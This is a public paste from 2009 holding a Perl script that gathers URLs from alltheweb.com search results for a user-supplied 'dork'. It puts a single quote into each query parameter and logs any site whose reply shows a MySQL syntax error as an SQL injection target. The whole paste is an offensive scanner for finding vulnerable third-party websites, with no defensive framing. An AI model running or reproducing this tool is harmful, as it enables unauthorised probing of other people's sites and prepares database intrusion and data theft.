Public paste
Undefined
By: all_alltheweb.pl | Date: Apr 24 2009 10:19 | Format: None | Expires: never | Size: 1.35 KB | Hits: 806

  1. use strict;
  2. no warnings;
  3. use LWP::Simple;
  4. require LWP::UserAgent;
  5.  
  6. my $ua = LWP::UserAgent->new;
  7. $ua->agent('Mozilla/5.0');
  8.  
  9. my ($dork, $page, $content, $url, $response, $act_link, $substr, $position, $link_copy, $site2);
  10. my %seen;
  11.  
  12. print "insert dork: ";
  13. $dork = <STDIN>;
  14. _alltheweb_search_();
  15.  
  16. sub _alltheweb_search_ {
  17.         chomp($dork);
  18.         $page = 0;
  19.         $content = "leer";
  20.         while( $page <= 1000 ) {
  21.                 $url = "http://www.alltheweb.com/search?cat=web&cs=iso88591&rys=0&itag=crv&_sb_lang=pref&q=".$dork."&o=".$page;
  22.                 $response = $ua->get($url);
  23.                 $content = $response->content;
  24.                 while( $content =~ m/<span class="resURL">(.+?)  </span>/g ) {
  25.                         $act_link = $1;
  26.                         next if $seen{$act_link}++;
  27.                         print $act_link."n";
  28.                         $substr = '=';
  29.                         for($position = 0; ($position = index($act_link, $substr, $position)) >= 0; $position++) {
  30.                             $link_copy = $act_link;
  31.                             substr($link_copy, $position, 1) = "='";  
  32.                                 $site2 = get($link_copy);
  33.                                 print "Checking: ".$link_copy."n";
  34.                                 unless( $content eq $site2 ) {
  35.                                         if( $site2 =~ m/error in your SQL syntax/i ) {
  36.                                                 print "INJECTION: ".$link_copy."n";
  37.                                                 _output_($link_copy);
  38.                                         }
  39.                                 }
  40.                         }
  41.                 $page += 10;
  42.                 }
  43.         }
  44. }
  45.  
  46. sub _output_ {
  47.         my $param = shift;
  48.         my $output = open(FILE_OUT,">> output_injection.txt") or die "$!n";
  49.         print FILE_OUT $param."n";
  50.         close(FILE_OUT);
  51. }